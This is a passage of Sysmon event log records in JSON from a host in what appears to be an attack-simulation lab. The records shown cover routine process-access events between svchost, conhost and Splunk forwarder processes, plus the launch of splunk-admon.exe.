11:58:36.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6067,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:36.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:36.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6068,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:36.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:36.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6069,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:36.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:36.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6070,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:36.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:36.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6071,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:36.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:36.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6072,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:36.557\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-41EC-5F2D-0000-0010CDFF0800}\r\nTargetProcessId: 5060\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:36.557","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-41EC-5F2D-0000-0010CDFF0800}","TargetProcessId":"5060","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-MonitorNoHandle.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":6073,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:37.386\r\nProcessGuid: {90617006-41ED-5F2D-0000-001092010900}\r\nProcessId: 3228\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nFileVersion: 8.0.2\r\nDescription: Active Directory monitor\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-admon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:58:37.386","ProcessGuid":"{90617006-41ED-5F2D-0000-001092010900}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","FileVersion":"8.0.2","Description":"Active Directory monitor","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-admon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:58:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6074,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:37.385\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-41ED-5F2D-0000-001092010900}\r\nTargetProcessId: 3228\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:37.385","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-41ED-5F2D-0000-001092010900}","TargetProcessId":"3228","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program 